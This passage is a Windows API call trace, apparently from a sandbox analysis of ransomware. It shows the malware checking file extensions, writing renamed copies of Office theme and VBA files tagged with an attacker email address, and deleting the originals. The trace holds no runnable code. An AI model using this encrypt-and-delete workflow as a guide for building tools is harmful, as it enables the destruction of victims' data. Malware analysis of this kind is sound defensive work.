(lpString=".7z") returned 3 [0224.278] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0224.278] lstrlenW (lpString=".dbf") returned 4 [0224.278] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0224.278] lstrlenW (lpString=".1cd") returned 4 [0224.278] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0224.278] lstrlenW (lpString=".jpg") returned 4 [0224.278] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.278] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.278] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0224.279] GetLastError () returned 0x0 [0224.279] ReadFile (in: hFile=0x224, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x8573, lpOverlapped=0x0) returned 1 [0224.290] WriteFile (in: hFile=0x1fc, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x8580, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x8580, lpOverlapped=0x0) returned 1 [0224.293] ReadFile (in: hFile=0x224, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.293] WriteFile (in: hFile=0x1fc, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.294] SetEndOfFile (hFile=0x1fc) returned 1 [0224.294] CloseHandle (hObject=0x1fc) returned 1 [0224.294] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.294] SetEndOfFile (hFile=0x224) returned 1 [0224.295] CloseHandle (hObject=0x224) returned 1 [0224.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.296] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png")) returned 1 [0224.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0224.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0224.296] lstrlenW (lpString=".doc") returned 4 [0224.296] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.296] lstrlenW (lpString=".docx") returned 5 [0224.296] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.296] lstrlenW (lpString=".pdf") returned 4 [0224.296] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.297] lstrlenW (lpString=".xls") returned 4 [0224.297] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.297] lstrlenW (lpString=".xlsx") returned 5 [0224.297] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.297] lstrlenW (lpString=".ppt") returned 4 [0224.297] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0224.297] lstrlenW (lpString=".zip") returned 4 [0224.297] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.297] lstrlenW (lpString=".rar") returned 4 [0224.297] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.297] lstrlenW (lpString=".bz2") returned 4 [0224.297] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.297] lstrlenW (lpString=".7z") returned 3 [0224.297] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0224.297] lstrlenW (lpString=".dbf") returned 4 [0224.297] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0224.297] lstrlenW (lpString=".1cd") returned 4 [0224.297] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0224.298] lstrlenW (lpString=".jpg") returned 4 [0224.298] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.298] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.298] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.298] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0224.300] GetLastError () returned 0x0 [0224.300] ReadFile (in: hFile=0x224, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x7279, lpOverlapped=0x0) returned 1 [0224.479] WriteFile (in: hFile=0x1fc, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x7280, lpOverlapped=0x0) returned 1 [0224.481] ReadFile (in: hFile=0x224, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.481] WriteFile (in: hFile=0x1fc, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.481] SetEndOfFile (hFile=0x1fc) returned 1 [0224.481] CloseHandle (hObject=0x1fc) returned 1 [0224.481] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.481] SetEndOfFile (hFile=0x224) returned 1 [0224.482] CloseHandle (hObject=0x224) returned 1 [0224.482] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.483] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0224.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0224.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0224.483] lstrlenW (lpString=".doc") returned 4 [0224.483] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0224.483] lstrlenW (lpString=".docx") returned 5 [0224.483] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0224.483] lstrlenW (lpString=".pdf") returned 4 [0224.483] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0224.483] lstrlenW (lpString=".xls") returned 4 [0224.483] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0224.483] lstrlenW (lpString=".xlsx") returned 5 [0224.483] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0224.483] lstrlenW (lpString=".ppt") returned 4 [0224.483] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0224.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0224.483] lstrlenW (lpString=".zip") returned 4 [0224.483] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0224.483] lstrlenW (lpString=".rar") returned 4 [0224.483] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0224.483] lstrlenW (lpString=".bz2") returned 4 [0224.483] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0224.483] lstrlenW (lpString=".7z") returned 3 [0224.484] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0224.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0224.484] lstrlenW (lpString=".dbf") returned 4 [0224.484] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0224.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0224.484] lstrlenW (lpString=".1cd") returned 4 [0224.484] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0224.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0224.484] lstrlenW (lpString=".jpg") returned 4 [0224.484] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.484] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.484] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.484] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0224.954] GetLastError () returned 0x0 [0224.954] ReadFile (in: hFile=0x224, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x9df, lpOverlapped=0x0) returned 1 [0224.964] WriteFile (in: hFile=0x1ec, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x9e0, lpOverlapped=0x0) returned 1 [0224.965] ReadFile (in: hFile=0x224, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.965] WriteFile (in: hFile=0x1ec, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.965] SetEndOfFile (hFile=0x1ec) returned 1 [0224.965] CloseHandle (hObject=0x1ec) returned 1 [0224.966] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.966] SetEndOfFile (hFile=0x224) returned 1 [0224.967] CloseHandle (hObject=0x224) returned 1 [0224.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.967] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1 [0224.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0224.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0224.968] lstrlenW (lpString=".doc") returned 4 [0224.968] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0224.968] lstrlenW (lpString=".docx") returned 5 [0224.968] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0224.968] lstrlenW (lpString=".pdf") returned 4 [0224.968] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0224.968] lstrlenW (lpString=".xls") returned 4 [0224.968] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0224.968] lstrlenW (lpString=".xlsx") returned 5 [0224.968] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0224.968] lstrlenW (lpString=".ppt") returned 4 [0224.968] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0224.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0224.968] lstrlenW (lpString=".zip") returned 4 [0224.968] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0224.968] lstrlenW (lpString=".rar") returned 4 [0224.968] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0224.968] lstrlenW (lpString=".bz2") returned 4 [0224.968] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0224.968] lstrlenW (lpString=".7z") returned 3 [0224.968] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0224.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0224.968] lstrlenW (lpString=".dbf") returned 4 [0224.968] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0224.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0224.968] lstrlenW (lpString=".1cd") returned 4 [0224.968] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0224.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0224.969] lstrlenW (lpString=".jpg") returned 4 [0224.969] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0225.047] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=18380) returned 1 [0225.047] CloseHandle (hObject=0x1fc) returned 1 [0225.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0225.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0225.048] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.048] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.048] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.049] GetLastError () returned 0x0 [0225.049] ReadFile (in: hFile=0x1fc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x47cc, lpOverlapped=0x0) returned 1 [0225.114] WriteFile (in: hFile=0x228, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x47d0, lpOverlapped=0x0) returned 1 [0225.115] ReadFile (in: hFile=0x1fc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.115] WriteFile (in: hFile=0x228, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.116] SetEndOfFile (hFile=0x228) returned 1 [0225.116] CloseHandle (hObject=0x228) returned 1 [0225.116] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.116] SetEndOfFile (hFile=0x1fc) returned 1 [0225.117] CloseHandle (hObject=0x1fc) returned 1 [0225.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.117] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0225.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0225.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0225.118] lstrlenW (lpString=".doc") returned 4 [0225.118] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0225.118] lstrlenW (lpString=".docx") returned 5 [0225.118] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0225.118] lstrlenW (lpString=".pdf") returned 4 [0225.118] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0225.118] lstrlenW (lpString=".xls") returned 4 [0225.118] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0225.118] lstrlenW (lpString=".xlsx") returned 5 [0225.118] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0225.118] lstrlenW (lpString=".ppt") returned 4 [0225.118] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0225.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0225.118] lstrlenW (lpString=".zip") returned 4 [0225.118] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0225.118] lstrlenW (lpString=".rar") returned 4 [0225.118] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0225.118] lstrlenW (lpString=".bz2") returned 4 [0225.118] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0225.118] lstrlenW (lpString=".7z") returned 3 [0225.118] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0225.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0225.118] lstrlenW (lpString=".dbf") returned 4 [0225.119] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0225.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0225.119] lstrlenW (lpString=".1cd") returned 4 [0225.119] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0225.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0225.119] lstrlenW (lpString=".jpg") returned 4 [0225.119] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0225.120] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.120] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.120] GetLastError () returned 0x0 [0225.120] ReadFile (in: hFile=0x1fc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x51a5b, lpOverlapped=0x0) returned 1 [0225.164] WriteFile (in: hFile=0x228, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x51a60, lpOverlapped=0x0) returned 1 [0225.171] ReadFile (in: hFile=0x1fc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.171] WriteFile (in: hFile=0x228, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0225.171] SetEndOfFile (hFile=0x228) returned 1 [0225.171] CloseHandle (hObject=0x228) returned 1 [0225.172] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.172] SetEndOfFile (hFile=0x1fc) returned 1 [0225.175] CloseHandle (hObject=0x1fc) returned 1 [0225.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.453] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0225.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0225.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0225.454] lstrlenW (lpString=".doc") returned 4 [0225.454] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0225.454] lstrlenW (lpString=".docx") returned 5 [0225.454] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0225.454] lstrlenW (lpString=".pdf") returned 4 [0225.454] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0225.454] lstrlenW (lpString=".xls") returned 4 [0225.454] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0225.454] lstrlenW (lpString=".xlsx") returned 5 [0225.454] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0225.454] lstrlenW (lpString=".ppt") returned 4 [0225.454] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0225.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0225.454] lstrlenW (lpString=".zip") returned 4 [0225.454] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0225.454] lstrlenW (lpString=".rar") returned 4 [0225.454] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0225.454] lstrlenW (lpString=".bz2") returned 4 [0225.454] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0225.454] lstrlenW (lpString=".7z") returned 3 [0225.454] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0225.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0225.455] lstrlenW (lpString=".dbf") returned 4 [0225.455] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0225.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0225.455] lstrlenW (lpString=".1cd") returned 4 [0225.455] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0225.455] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0225.455] lstrlenW (lpString=".jpg") returned 4 [0225.455] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 Thread: id = 10 